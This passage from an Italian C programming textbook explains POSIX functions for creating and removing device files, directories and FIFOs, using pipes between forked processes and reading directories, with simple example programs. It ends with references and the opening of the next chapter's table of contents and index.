```

La funzione ***makedev()*** assembla il numero primario e il numero secondario ottenuti come argomenti, restituendo un numero di dispositivo complessivo; per converso, le funzioni ***major()*** e ***minor()*** estrapolano rispettivamente il numero primario e il numero secondario, a partire da un numero di dispositivo complessivo. Tali funzioni dovrebbero essere dichiarate nel file di intestazione '`sys/types.h`'.

I due esempi seguenti mostrano la creazione di due file di dispositivo, uno a caratteri e uno a blocchi. Ci si avvale della funzione ***makedev()*** per assemblare il numero di dispositivo complessivo, a partire dal numero primario e dal numero secondario.

```
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mknod ("/tmp/miodev1",
                  (mode_t) (S_IFCHR | S_IRUSR | S_IWUSR |S_IXUSR),
                  makedev (1, 2));
  if (status != 0) perror (NULL);
  return (0);
}
```

```
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mknod ("/tmp/miodev2",
                  (mode_t) (S_IFBLK | S_IRUSR | S_IWUSR |S_IXUSR),
                  makedev (3, 4));
  if (status != 0) perror (NULL);
  return (0);
}
```

Va osservato che la creazione di un file di dispositivo dovrebbe risultare concessa solo a un processo in funzione con i privilegi dell'utente con numero UID pari a zero ('**`root`**').

79.8.2 La funzione «mkdir()»

La funzione ***mkdir()*** costituisce il modo corretto per creare una directory vuota (ma provvista delle voci '`.`' e '`..`' obbligatorie).

```
int mkdir (const char *path, mode_t mode);
```

A differenza di ***mknod()***, il parametro ***mode*** va usato esclusivamente per indicare i permessi di accesso richiesti, tenendo conto, naturalmente, che questi vengono filtrati ulteriormente in base alla maschera dei permessi (*user mask*). In altri termini, nel parametro ***mode*** non si può specificare il tipo di file, cosa che comunque sarebbe ignorata, dato che si tratta della creazione di una directory e di nulla altro.

```
#include <sys/stat.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mkdir ("/tmp/miadir",
                  (mode_t) (S_IRUSR | S_IWUSR |S_IXUSR));
  if (status != 0) perror (NULL);
  return (0);
}
```

L'esempio mostra la creazione della directory '`/tmp/miadir/`' in un programma completo e molto semplice.

79.8.3 La funzione «mkfifo()»

La funzione ***mkfifo()*** consente di creare un file FIFO, specificando il percorso e i permessi, in modo analogo a quanto si farebbe con ***mkdir()*** per la creazione delle directory, con la differenza che in questo caso l'uso della funzione ***mknod()*** sarebbe comunque corretto.

```
int mkfifo (const char *path, mode_t mode);
```

Segue un esempio molto semplice, al pari di quelli già apparsi nel capitolo.

```
#include <sys/stat.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mkfifo ("/tmp/miofifo",
                   (mode_t) (S_IRUSR | S_IWUSR |S_IXUSR));
  if (status != 0) perror (NULL);
  return (0);
}
```

79.8.4 La funzione «unlink()»

La funzione ***unlink()*** consente di eliminare un file, possibilmente di qualunque tipo, «scollegandolo» dalla directory a cui si riferisce il percorso indicato per l'operazione. Dal momento che un file è rappresentato in un file system Unix da un inode, tale inode viene eliminato effettivamente se non ci più altri riferimenti allo stesso.

In linea di principio, con ***unlink()*** non dovrebbe essere possibile la cancellazione di una directory; inoltre, se nel frattempo il file in questione risulta utilizzato da un processo, l'operazio-

ne di cancellazione (scollegamento) dovrebbe completarsi soltanto nel momento in cui il file risulta chiuso a tutti gli effetti.

```
int unlink (const char *path);
```

L'esempio seguente mostra la cancellazione del file '`/tmp/cancellami`':

```
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = unlink ("/tmp/cancellami");
  if (status != 0) perror (NULL);
  return (0);
}
```

79.8.5 La funzione «rmdir()»

La funzione ***rmdir()*** consente di eliminare una directory, purché vuota (contenente soltanto le voci '`.`' e '`..`'), specificandone il percorso.

```
int rmdir (const char *path);
```

L'esempio seguente mostra la cancellazione della directory '`/tmp/cancellami/`':

```
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = rmdir ("/tmp/cancellami");
  if (status != 0) perror (NULL);
  return (0);
}
```

79.8.6 La funzione «remove()»

La funzione ***remove()*** cancella un file, utilizzando ***unlink()*** oppure ***rmdir()***, in base al tipo di file specificato per la rimozione stessa.

```
int remove (const char *path);
```

79.9 Condotti

I ***condotti***, o *pipe*, sono dei file virtuali, ad accesso FIFO (*First in, first out*). In altri termini sono delle ***code***, in forma di file. Un condotto richiede che ci siano sia processi che vi scrivono, sia processi che vi leggono le informazioni. La lettura comporta il prelievo di dati e la liberazione di spazio disponibile per ulteriori operazioni di scrittura.

condotto o pipe
scrittura
lettura

Se più di un processo apre uno stesso condotto in scrittura, non è possibile prevedere l'ordine in cui le operazioni di scrittura procedono; nello stesso modo, se più processi aprono uno stesso condotto in lettura, non è possibile prevedere con quale ordine vengano raccolti i dati dal condotto stesso. In altri termini, è compito dei processi di definire un protocollo tra di loro, se i dati devono confluire secondo un certo criterio.

79.9.1 Realizzazione materiale del condotto

In memoria centrale, il condotto si realizza come un array di byte, a cui si accede attraverso due indici: uno per la scrittura e l'altro per la lettura, tenendo conto che raggiunta la fine, si riprende dall'inizio.

indice di lettura

C i a o _ a _ t u t t i b b

byte 0 byte N

indice di scrittura

indice di lettura

E c c o _ a _ t u t t i ! _

byte 0 byte N

indice di scrittura

Lo schema mostra un array scandito con due indici, dove i caratteri di colore nero rappresentano i byte scritti e ancora da leggere, mentre quelli in azzurro-ciano (ovvero quelli di colore più chiaro), rappresentano i byte già letti che possono essere sovrascritti. Lo schema mostra due momenti differenti, dove nel secondo caso l'indice di scrittura, una volta raggiunta la fine dell'array, riprende dall'inizio.

Dal momento che un condotto viene rappresentato in memoria come un inode, con tanto di elenco di riferimenti ai blocchi utilizzati nel file system, dato che tali annotazioni non servono perché nulla viene memorizzato in un file system, originariamente si utilizzava proprio quella porzione di memoria (quella dei blocchi diretti) per l'array che consente di conservare temporaneamente i dati. Tuttavia, dal momento che lo standard di oggi richiede che lo spazio nella coda di un condotto sia abbastanza grande, è improbabile che si utilizzi ancora questo metodo.

79.9.2 Condotti «senza nome» e condotti «con nome»

Il condotto, come concetto, è un file virtuale già «aperto» e utilizzato da qualche processo elaborativo. In questi termini, un condotto potrebbe essere creato al volo, da un processo che successivamente ne avvia un altro con il quale deve comunicare. Un condotto realizzato al volo non ha alcun riferimento nel file system, pertanto gli si attribuisce la caratteristica di essere «senza nome». D'altro canto, un condotto può essere rappresentato nel file system da un file speciale, di tipo FIFO, da trattare come se fosse un file normale, benché non lo sia. Nel secondo caso si tratta di un condotto «con nome», perché c'è un nome nel file system, ovvero si tratta di un file FIFO.

79.9.3 Protocollo di accesso ai condotti

Una volta creato un condotto (che questo sia senza nome o che derivi dall'apertura di un file FIFO, ciò non fa differenza), solo dopo che questo risulta utilizzato sia in scrittura, sia in lettura, si può procedere con le operazioni di scrittura e lettura.

Quando un processo tenta di leggere da un condotto nel quale non sono disponibili dati nuovi, questo viene sospeso, in attesa di dati; nello stesso modo, un processo che tenta di scrivere in un condotto che non ha spazio disponibile (perché i dati già inseriti non sono ancora stati letti), viene sospeso in attesa di tale disponibilità.

Quando un processo tenta di leggere da un condotto che non viene più utilizzato in scrittura (perché non ci sono più descrittori di file associati al condotto in scrittura), si trova di fronte a un file concluso (nel senso che si avvera la condizione di fine del file); quando invece un processo tenta di scrivere in un condotto a cui non corrisponde più alcun descrittore in lettura, questo processo riceve il segnale SIGPIPE e, se il processo lo ignora, l'operazione di scrittura termina con un errore '**EPIPE**'.

Dal momento che la natura di un condotto è quella di essere ad accesso sequenziale, non è possibile posizionare l'indice di lettura o scrittura, con l'ausilio della funzione ***lseek()***.

79.9.4 Funzione «pipe()»

La funzione ***pipe()*** crea un condotto al volo, restituendo attraverso un array di due elementi i numeri dei descrittori per l'accesso in lettura e in scrittura. Tale condotto non ha un file FIFO corrispondente, ma risulta ugualmente aperto e disponibile al processo che lo crea.

```
int pipe (int fd[2]);
```

La funzione restituisce l'esito dell'operazione: zero in caso di successo, oppure −1 in caso di problemi (aggiornando il valore della variabile ***errno***). I descrittori per l'accesso vengono ottenuti dal contenuto dell'array ***fd[]***, dove ***fd[0]*** è il descrittore per l'accesso in lettura, mentre ***fd[1]*** è quello per l'accesso in scrittura.

Con questa funzione, un processo crea un condotto e ottiene i due descrittori di accesso; tuttavia, lo scopo di un condotto è quello di mettere in comunicazione due o più processi. Pertanto, dopo un'operazione di questo tipo, si passa quasi certamente a una biforcazione ed eventualmente all'esecuzione di un altro programma. Dopo la biforcazione è normale che il processo originario chiuda il descrittore che non gli serve (dal momento che utilizza probabilmente solo quello di scrittura o solo quello di lettura) e che così faccia anche il processo sdoppiato: il programma che eventualmente venisse caricato al posto del processo sdoppiato troverebbe già tutto pronto per iniziare a lavorare correttamente. Il listato successivo mostra un esempio, disponibile eventualmente presso ⟨*allegati/c/esempio-posix-pipe.c*⟩, ottenuto modificando un esempio analogo che appare nella pagina di manuale *pipe(2)* di un sistema GNU/Linux.

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdio.h>
```

```
#include <stdlib.h>
#include <string.h>
//----------------------------------------------------------------------
int
main (void)
{
  int             pipefd[2];
  pid_t           child;
  char            buffer;
  char           *message = "ciao a tutti voi amici vicini e lontani\n";
  int             i;
  size_t          size;
  ssize_t         written;
  //
  //
  //
  if (pipe (pipefd) == -1)
    {
      perror ("pipe");
      exit (EXIT_FAILURE);
    }
  //
  //
  //
  child = fork ();
  if (child == -1)
    {
      perror ("fork");
      exit (EXIT_FAILURE);
    }
  //
  //
  //
  if (child == 0)
    {
      //
      // Questo è il figlio e deve leggere dal condotto; pertanto,
      // chiude il descrittore di scrittura nel condotto.
      //
      close (pipefd[1]);
      //
      // Legge un byte alla volta, finché c’è qualcosa da poter leggere.
      //
      while (read (pipefd[0], &buffer, 1) > 0)
        {
          //
          // Emette il byte letto attraverso lo standard output.
          //
```

```
              write (STDOUT_FILENO, &buffer, 1);
            }
          //
          // Chiude il condotto e conclude il suo funzionamento.
          //
          close (pipefd[0]);
          //
          exit (EXIT_SUCCESS);
        }
      else
        {
          //
          // Questo è il genitore, il quale chiude il descrittore
          // di lettura nel condotto.
          //
          close (pipefd[0]);
          //
          // Inizia un ciclo senza fine.
          //
          while (1)
            {
              //
              // Scrive il messaggio contenuto nella stringa ‘message’
              // attraverso il condotto.
              //
              for (i = 0, written = 0, size = strlen (message);
                   i < strlen (message); i += written, size -= written)
                {
                  written = write (pipefd[1], &message[i], size);
                  if (written < 0)
                    {
                      //
                      // Essendosi verificato un errore, chiude
                      // il descrittore del condotto e si mette
                      // in attesa della morte del proprio processo
                      // figlio. Al termine conclude il proprio
                      // funzionamento.
                      //
                      perror ("pipe");
                      close (pipefd[1]);
                      wait (NULL);  // Wait for child.
                      exit (EXIT_FAILURE);
                    }
                }
            }
          //
          // Dal momento che il codice precedente è racchiuso in un
          // ciclo infinito, ciò che segue non può essere mai eseguito.
```

```
        // Comunque, nel caso si volesse gestire il ciclo precedente,
        // a questo punto verrebbe chiuso il condotto da parte
        // del processo genitore, attendendo la morte del proprio
        // processo figlio, prima di concludere regolarmente il proprio
        // funzionamento.
        //
        close (pipefd[1]);
        wait (NULL);
        exit (EXIT_SUCCESS);
      }
}
```

Il programma dell'esempio, sdoppiandosi in due processi, da un lato (quello del genitore) scrive nel condotto la stringa ***message*** una quantità di volte indefinita, mentre dall'altro legge dal condotto il messaggio riproducendolo attraverso lo standard output sullo schermo, fino a quando uno dei due processi viene interrotto.

79.9.5 Esempio di condotto attraverso un file FIFO

Nella sezione precedente appare un esempio completo di programma che crea e utilizza un condotto. Nel listato successivo, disponibile eventualmente presso ⟨*allegati/c/esempio-posix-fifo.c*⟩, si vede un altro esempio, pressocché equivalente, in cui i due processi prodotti comunicano attraverso un condotto derivante da un file FIFO. Il file FIFO viene creato preventivamente dal processo genitore, prima di sdoppiarsi, poi i due processi aprono il file e riproducono lo stesso comportamento già descritto nella sezione precedente.

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/wait.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
//------------------------------------------------------------------------
int
main (void)
{
  int               fd;
  pid_t             child;
  char              buffer;
  char             *message = "ciao a tutti voi amici vicini e lontani\n";
  int               i;
  size_t            size;
  ssize_t           written;
  int               status;
  //
  // Prima di creare il file FIFO, cancella quello che potrebbe esserci
```

```
    // già.
    //
    unlink ("/tmp/fifo");
    //
    // Usa 'mknod()', ma potrebbe usare 'mkfifo()' per creare
    // il file FIFO.
    //
    status = mknod ("/tmp/fifo", S_IFIFO | S_IRUSR | S_IWUSR, 0);
    if (status != 0)
      {
        perror ("mknod fifo");
        exit (EXIT_FAILURE);
      }
    //
    // Il processo si sdoppia.
    //
    child = fork ();
    if (child == -1)
      {
        perror ("fork");
        exit (EXIT_FAILURE);
      }
    //
    //
    //
    if (child == 0)
      {
        //
        // Questo è il processo figlio che apre il file FIFO in lettura.
        //
        fd = open ("/tmp/fifo", O_RDONLY);
        if (fd < 0)
          {
            perror ("fifo read open");
            exit (EXIT_FAILURE);
          }
        //
        // Legge un byte alla volta riproducendolo attraverso lo
        // standard output.
        //
        while (read (fd, &buffer, 1) > 0)
          {
            write (STDOUT_FILENO, &buffer, 1);
          }
        //
        // Chiude il file FIFO e si conclude il funzionamento del
        // processo figlio.
        //
```

```
      close (fd);
      //
      exit (EXIT_SUCCESS);
    }
  else
    {
      //
      // Questo è il processo genitore che apre il file FIFO in
      // scrittura.
      //
      fd = open ("/tmp/fifo", O_WRONLY);
      if (fd < 0)
        {
          perror ("fifo write open");
          exit (EXIT_FAILURE);
        }
      //
      // Inizia un ciclo infinito.
      //
      while (1)
        {
          //
          // Scrive il messaggio contenuto nella stringa 'message'
          // attraverso il condotto.
          //
          for (i = 0, written = 0, size = strlen (message);
               i < strlen (message); i += written, size -= written)
            {
              written = write (fd, &message[i], size);
              if (written < 0)
                {
                  //
                  // Essendosi verificato un errore, chiude il file FIFO
                  // e si mette in attesa della morte del proprio
                  // processo figlio. Al termine conclude il proprio
                  // funzionamento.
                  //
                  perror ("pipe");
                  close (fd);
                  wait (NULL);
                  exit (EXIT_FAILURE);
                }
            }
        }
      //
      // Dal momento che il codice precedente è racchiuso in un
      // ciclo infinito, ciò che segue non può essere mai eseguito.
      // Comunque, nel caso si volesse gestire il ciclo precedente,
```

```
        // a questo punto verrebbe chiuso il file FIFO da parte
        // del processo genitore, attendendo la morte del proprio
        // processo figlio, prima di concludere regolarmente il proprio
        // funzionamento.
        //
        close (fd);
        wait (NULL);
        exit (EXIT_SUCCESS);
    }
}
```

79.10 Lettura delle directory

Le directory si creano con la funzione ***mkdir()***, in modo da garantire che le voci obbligatorie '`.`' e '`..`' siano presenti. Successivamente, l'aggiornamento delle directory avviene in modo trasparente da parte del sistema operativo, in base alle operazioni di creazione ed eliminazione dei file. Rimane il problema della lettura delle directory, dalla quale ottenere nomi e riferimenti a inode, per poter conoscere il loro «contenuto».

Di norma è possibile leggere le directory come se fossero dei file puri e semplici, ma così facendo occorre interpretarne il contenuto secondo le regole di quel file system particolare. In generale ciò è sconsigliabile, pertanto vengono in aiuto alcune funzioni descritte nel file di intestazione '`dirent.h`' (si veda anche la sezione 81.6 sul file di intestazione '`dirent.h`').

79.10.1 Tipi derivati

La gestione delle directory, secondo il file di intestazione '`dirent.h`', prevede due tipi derivati: '**`DIR`**' e '**`struct dirent`**'. Il tipo '**`DIR`**' serve a rappresentare una variabile strutturata con tutte le informazioni relative a un flusso di file riferito a una directory. In altri termini, è l'equivalente del tipo '**`FILE`**', ma utile solo per l'accesso alle directory. Il tipo '**`struct dirent`**' serve a poter rappresentare i due componenti indispensabili di ogni voce di directory dei sistemi Unix: numero di inode e nome. Pertanto, il tipo '**`struct dirent`**' contiene almeno i membri '**`d_ino`**' e '**`d_name`**', per contenere rispettivamente il numero di inode e il nome relativo:

```
struct dirent {
    ino_t  d_ino;
    char   d_name[];
    …
};
```

79.10.2 Procedura per accedere a una directory

Per accedere a una directory, occorre prima aprirla, con la funzione ***opendir()***, la quale restituisce un puntatore a una variabile di tipo '**DIR**', dove tale puntatore rappresenta così la directory in forma di flusso.

```
DIR *opendir (const char *path);
```

La lettura di una directory avviene a blocchi di una voce per volta, utilizzando la funzione ***readdir()***: ogni lettura produce la voce successiva della directory, in forma di variabile strutturata di tipo '**struct dirent**', della quale si ottiene il puntatore.

```
struct dirent *readdir (DIR *dp);
```

Evidentemente, da come è strutturato il prototipo della funzione, si intuisce che la variabile strutturata a cui punta ciò che restituisce la funzione stessa, deve trovarsi in una zona di memoria statica, la quale viene riutilizzata ogni volta che si chiama la funzione ***readdir()***.

Dato che le letture si susseguono in modo sequenziale, quando si vuole che la prossima lettura ricominci dalla prima voce, si utilizza la funzione ***rewinddir()***:

```
void rewinddir (DIR *dp);
```

Al termine, come per i file normali, il flusso aperto di directory va chiuso con la funzione ***closedir()***, dove il valore restituito rappresenta il successo o meno dell'operazione:

```
int closedir (DIR *dp);
```

79.10.3 Attributo «FD_CLOEXEC»

Un sistema Unix dispone di un metodo di accesso ai file basato sui descrittori, sopra il quale si inserisce la gestione dei flussi di file. Per quanto riguarda le directory, lo standard non specifica se i flussi relativi debbano avvalersi dei descrittori o meno. Tuttavia, se si usano i descrittori, si presenta una situazione particolare: se si esegue un altro processo, in sostituzione di quello in corso (con una delle funzioni ***exec...()***), i descrittori aperti vengono ereditati tali e quali dal nuovo processo. Nel caso delle directory, ciò va evitato.

Nei sistemi in cui il tipo '**DIR**' viene gestito tramite riferimenti a descrittori, l'apertura di una directory comporta l'attivazione dell'indicatore rappresentato dalla macro-variabile ***FD_CLOEXEC*** (file di intestazione 'fcntl.h'), con il quale si assicura che il descrittore venga chiuso nel caso di utilizzo di una funzione ***exec...()***.

79.10.4 Esempio di utilizzo delle funzioni di accesso alle directory

Il listato successivo mostra un esempio molto semplice di programma che legge la directory corrente, mostrando l'elenco dei nomi che contiene, senza indicare però altre informazioni. Eventualmente si può ottenere il file dell'esempio dall'indirizzo ⟨*allegati/c/esempio-posix-dirent.c* ⟩

```
#include <errno.h>
#include <stdio.h>
#include <dirent.h>
//----------------------------------------------------------------------
int
main (int argc, char *argv[], char *envp[])
{
  DIR            *dp;
  struct dirent  *dir;
  //
  dp = opendir (".");
  if (dp == NULL)
    {
      perror (NULL);
      return (1);
    }
  //
  while ((dir = readdir (dp)) != NULL)
    {
      printf ("%s\n", dir->d_name);
    }
  //
  closedir (dp);
  //
  return (0);
}
```

Eventualmente si veda una realizzazione molto semplice del programma '**`ls`**' nei sorgenti di os16 (listato 107.1.17) o di os32 (listato 107.1.17).

79.11 Riferimenti

- Maurice J. Bach, *The design of the UNIX operating system*, Prentice Hall, 1990, ISBN 0132017997
- The Open Group, *The UNIX System*

  ⟨*http://www.unix.org/* ⟩
- Free Software Foundation, *The GNU C Library*

  ⟨*http://www.gnu.org/software/libc/manual/* ⟩
- The Open Group, *The Single UNIX® Specification, Version 2*, *Regular Expressions*

  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/xbd_chap09.html* ⟩

- Daniel Robbins, *POSIX threads explained*
  ⟨*http://www.ibm.com/developerworks/library/l-posix1.html* ⟩
  ⟨*http://www.ibm.com/developerworks/library/l-posix2/* ⟩
  ⟨*http://www.ibm.com/developerworks/library/l-posix3/* ⟩
- pagina di manuale *pthreads(7)* di un sistema GNU/Linux
- Mark Hayes, *POSIX threads tutorial*
  ⟨*http://math.arizona.edu/~swig/documentation/pthreads/* ⟩
- The Open Group, *The Single UNIX® Specification, Version 2*, *pthread.h*
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/pthread.h.html* ⟩
- The Open Group, *The Single UNIX® Specification, Version 2*, *dirent.h*
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/dirent.h.html* ⟩
- Pagine di manuale: *mknod(2)*, *mkdir(2)*, *mkfifo(3)*, *unlink(2)*, *pipe(2)*, *mkfifo(3)*, *opendir(3)*, *readdir(3)*, *rewinddir(3)*, *closedir(3)*

[1] Per la libreria POSIX, la gestione dei flussi del linguaggio C è costruita avvalendosi del sistema dei descrittori, con l'aggiunta però di una memoria tampone.

[2] Nel programma di esempio si può fare sicuramente di meglio, incrementando direttamente la variabile globale, senza tanti travasi come invece viene fatto. Ma lo scopo di questi esempi è simulare una situazione più complessa, senza complicazioni che esulano dal problema specifico che si vuole descrivere.

Capitolo 80

Libreria C, con qualche estensione POSIX

80.1 Funzionalità di libreria non dichiarate 4722
80.2 File «assert.h» 4722
80.2.1 Utilizzo 4722
80.3 File «limits.h» 4723
80.3.1 Confronto tra architetture 4725
80.3.2 Estensioni POSIX 4725
80.4 File «stdint.h» 4726
80.4.1 Tipi interi ad ampiezza esatta 4727
80.4.2 Tipi interi di rango minimo 4728
80.4.3 Tipi interi «veloci» 4729
80.4.4 Tipi interi per rappresentare dei puntatori 4730
80.4.5 Tipi interi di rango massimo 4731
80.4.6 Limiti per altri tipi interi 4732
80.5 File «errno.h» 4733
80.6 File «locale.h» 4735
80.6.1 Impostazione della configurazione locale 4736
80.6.2 Composizione dei valori numerici 4738
80.7 File «ctype.h» 4740
80.7.1 Funzioni «is...()» 4741
80.7.2 Macro-istruzioni «is...()» 4748
80.7.3 Funzioni di conversione 4748
80.7.4 Macro-istruzioni di conversione 4750
80.7.5 Esempio di utilizzo delle funzioni 4750
80.8 File «stdarg.h» 4752
80.8.1 Realizzazione 4752
80.8.2 Esempio di utilizzo delle macro 4753
80.8.3 Promozione 4754
80.9 File «stdlib.h» 4754
80.9.1 Tipi di dati speciali 4755
80.9.2 Macro-variabili 4755
80.9.3 Conversioni numeriche 4756
80.9.4 Funzioni per la generazione di numeri in modo pseudo-casuale 4759

80.9.5 Funzioni standard per la generazione di numeri pseudo-casuali 4761
80.9.6 Amministrazione della memoria 4762
80.9.7 Conclusione forzata del programma 4762
80.9.8 Funzioni di comunicazione con l’ambiente 4763
80.9.9 Funzioni di ricerca e riordino 4763
80.9.10 Funzioni per l’aritmetica con i numeri interi 4765
80.9.11 Funzioni per la gestione di caratteri estesi e sequenze multibyte 4766
80.9.12 Funzione «mblen()» 4767
80.9.13 Funzioni «mbtowc()» e «wctomb()» 4768
80.9.14 Funzioni «mbstowcs()» e «wcstombs()» 4769

80.10 File «inttypes.h» 4771

80.10.1 Divisione intera con interi di rango massimo 4772
80.10.2 Macro-variabili in qualità di specificatori di conversione
4772
80.10.3 Valore assoluto 4777
80.10.4 Conversione da stringa a numero intero 4778

80.11 File «iso646.h» 4778

80.12 File «stdbool.h» 4779

80.13 File «stddef.h» 4779

80.14 File «string.h» 4780

80.14.1 Copia 4780
80.14.2 Concatenamento 4787
80.14.3 Comparazione 4789
80.14.4 Ricerca 4794
80.14.5 Funzioni varie 4810

80.15 File «signal.h» 4814

80.15.1 Dichiarazione contorta 4815
80.15.2 Tipo speciale 4816
80.15.3 Denominazione dei segnali 4816
80.15.4 Segnali secondo POSIX 4817
80.15.5 Gestori fittizi di segnali 4819
80.15.6 Funzioni 4820
80.15.7 Esempio 4821

80.16 File «time.h» 4823

80.16.1 Il tempo di CPU 4823
80.16.2 Rappresentazione interna del tempo 4825

80.16.3 Rappresentazione strutturata del tempo 4825
80.16.4 Funzioni per l'elaborazione di valori legati al tempo 4825
80.16.5 Conversione in stringa 4828

80.17 File «stdio.h» 4832

80.17.1 Tipi 4833
80.17.2 Macro-variabili varie 4833
80.17.3 Ipotesi di gestione del tipo «FILE» 4835
80.17.4 Flussi standard 4835
80.17.5 Funzioni per la rimozione e la ridenominazione dei file 4835
80.17.6 Funzioni per la gestione dei file temporanei 4836
80.17.7 Funzioni per l'apertura e la chiusura dei flussi di file 4837
80.17.8 Funzioni per la gestione della memoria tampone 4839
80.17.9 Funzioni per la composizione dell'output
4840
80.17.10 Funzioni per l'interpretazione dell'input 4845
80.17.11 Funzioni per la lettura e la scrittura di un carattere alla volta . 4850
80.17.12 Funzioni per l'input e l'output di file di testo 4851
80.17.13 Funzioni per l'input e output diretto 4852
80.17.14 Funzioni per il posizionamento 4853
80.17.15 Accesso esclusivo ai flussi di file 4854
80.17.16 Condotti 4855
80.17.17 Informazioni sul terminale 4855
80.17.18 Gestione degli errori 4855
80.17.19 Realizzazione di «vsnprintf()» e altre collegate 4856

80.18 Riferimenti 4857

abort() 4762 abs() 4765 and 4778 and_eq 4778 asctime() 4828 assert() 4722 assert.h 4722 atexit() 4762 atof() 4756 atoi() 4756 atol() 4756 atoll() 4756 bitand 4778 bool 4779 bsearch() 4763 BUFSIZ 4833 calloc() 4762 CHAR_BIT 4723 CHAR_MAX 4723 CHAR_MIN 4723 clearerr() 4855 clock() 4823 CLOCKS_PER_SEC 4823 clock_t 4823 compl 4778 ctermid() 4855 ctime() 4829 ctype.h 4740 difftime() 4826 div() 4765 div_t 4755 4755 EDOM 4733 EILSEQ 4733 EOF 4833 ERANGE 4733 errno 4733 errno.h 4733 exit() 4762 EXIT_FAILURE 4755 EXIT_SUCCESS 4755 false 4779 fclose() 4837 fdopen() 4837 feof() 4855 ferror() 4855 fflush() 4839 fgetc() 4850 fgetpos() 4853 fgets() 4851 FILE 4833 FILENAME_MAX 4833 flockfile() 4854 fopen() 4837 FOPEN_MAX 4833 fpos_t 4833 fprintf() 4844 fputc() 4850 fputs() 4851 fread() 4852 free() 4762 freopen() 4837 fscanf() 4849 fseek() 4853 fseeko() 4853 fsetpos() 4853 ftell() 4853 ftello() 4853 ftrylockfile() 4854 funlockfile() 4854 fwrite() 4852 getc() 4850 getchar() 4850 getchar_unlocked() 4854 getc_unlocked() 4854 getenv() 4763 gets() 4851 gmtime() 4828 imaxabs() 4777 imaxdiv() 4772 imaxdiv_t

4772 INT16_C() 4728 INT16_MAX 4727 INT16_MIN 4727 int16_t 4727 INT32_C() 4728 INT32_MAX 4727 INT32_MIN 4727 int32_t 4727 INT64_C() 4728 INT64_MAX 4727 INT64_MIN 4727 int64_t 4727 INT8_C() 4728 INT8_MAX 4727 INT8_MIN 4727 int8_t 4727 INTMAX_C() 4731 INTMAX_MAX 4731 INTMAX_MIN 4731 intmax_t 4731 INTPTR_MAX 4730 INTPTR_MIN 4730 intptr_t 4730 inttypes.h 4771 INT_FAST16_MAX 4729 INT_FAST16_MIN 4729 int_fast16_t 4729 INT_FAST32_MAX 4729 INT_FAST32_MIN 4729 int_fast32_t 4729 INT_FAST64_MAX 4729 INT_FAST64_MIN 4729 int_fast64_t 4729 INT_FAST8_MAX 4729 INT_FAST8_MIN 4729 int_fast8_t 4729 INT_LEAST16_MAX 4728 INT_LEAST16_MIN 4728 int_least16_t 4728 INT_LEAST32_MAX 4728 INT_LEAST32_MIN 4728 int_least32_t 4728 INT_LEAST64_MAX 4728 INT_LEAST64_MIN 4728 int_least64_t 4728 INT_LEAST8_MAX 4728 INT_LEAST8_MIN 4728 int_least8_t 4728 INT_MAX 4723 INT_MIN 4723 isalnum() 4741 isalpha() 4741 isascii() 4747 isblank() 4742 iscntrl() 4742 isdigit() 4743 isgraph() 4743 islower() 4744 iso646.h 4778 isprint() 4744 ispunct() 4745 isspace() 4745 isupper() 4746 isxdigit() 4746 labs() 4765 LC_TIME 4829 ldiv() 4765 ldiv_t 4755 limits.h 4723 llabs() 4765 lldiv() 4765 lldiv_t 4755 LLONG_MAX 4723 LLONG_MIN 4723 locale.h 4735 localtime() 4828 LONG_BIT 4725 LONG_MAX 4723 LONG_MIN 4723 L_ctermid 4833 L_tmpnam 4833 malloc() 4762 mblen() 4767 mbstowcs() 4769 mbtowc() 4768 MB_CUR_MAX 4755 MB_LEN_MAX 4723 memccpy() 4781 memchr() 4794 memcmp() 4789 memcpy() 4780 memmove() 4782 memset() 4811 mktime() 4826 NDEBUG 4722 not 4778 not_eq 4778 NULL 4779 offsetof 4779 or 4778 or_eq 4778 pclose() 4855 perror() 4855 popen() 4855 PRId16 4772 PRId32 4772 PRId64 4772 PRId8 4772 PRIdFAST16 4772 PRIdFAST32 4772 PRIdFAST64 4772 PRIdFAST8 4772 PRIdLEAST16 4772 PRIdLEAST32 4772 PRIdLEAST64 4772 PRIdLEAST8 4772 PRIdMAX 4772 PRIdPTR 4772 PRIi16 4772 PRIi32 4772 PRIi64 4772 PRIi8 4772 PRIiFAST16 4772 PRIiFAST32 4772 PRIiFAST64 4772 PRIiFAST8 4772 PRIiLEAST16 4772 PRIiLEAST32 4772 PRIiLEAST64 4772 PRIiLEAST8 4772 PRIiMAX 4772 PRIiPTR 4772 printf() 4844 PRIo16 4772 PRIo32 4772 PRIo64 4772 PRIo8 4772 PRIoFAST16 4772 PRIoFAST32 4772 PRIoFAST64 4772 PRIoFAST8 4772 PRIoLEAST16 4772 PRIoLEAST32 4772 PRIoLEAST64 4772 PRIoLEAST8 4772 PRIoMAX 4772 PRIoPTR 4772 PRIu16 4772 PRIu32 4772 PRIu64 4772 PRIu8 4772 PRIuFAST16 4772 PRIuFAST32 4772 PRIuFAST64 4772 PRIuFAST8 4772 PRIuLEAST16 4772 PRIuLEAST32 4772 PRIuLEAST64 4772 PRIuLEAST8 4772 PRIuMAX 4772 PRIuPTR 4772 PRIx16 4772 PRIX16 4772 PRIx32 4772 PRIX32 4772 PRIx64 4772 PRIX64 4772 PRIX8 4772 PRIx8 4772 PRIxFAST16 4772 PRIXFAST16 4772 PRIxFAST32 4772 PRIXFAST32 4772 PRIxFAST64 4772 PRIXFAST64 4772 PRIXFAST8 4772 PRIxFAST8 4772 PRIxLEAST16 4772 PRIXLEAST16 4772 PRIxLEAST32 4772 PRIXLEAST32 4772 PRIxLEAST64 4772 PRIXLEAST64 4772 PRIXLEAST8 4772 PRIxLEAST8 4772 PRIxMAX 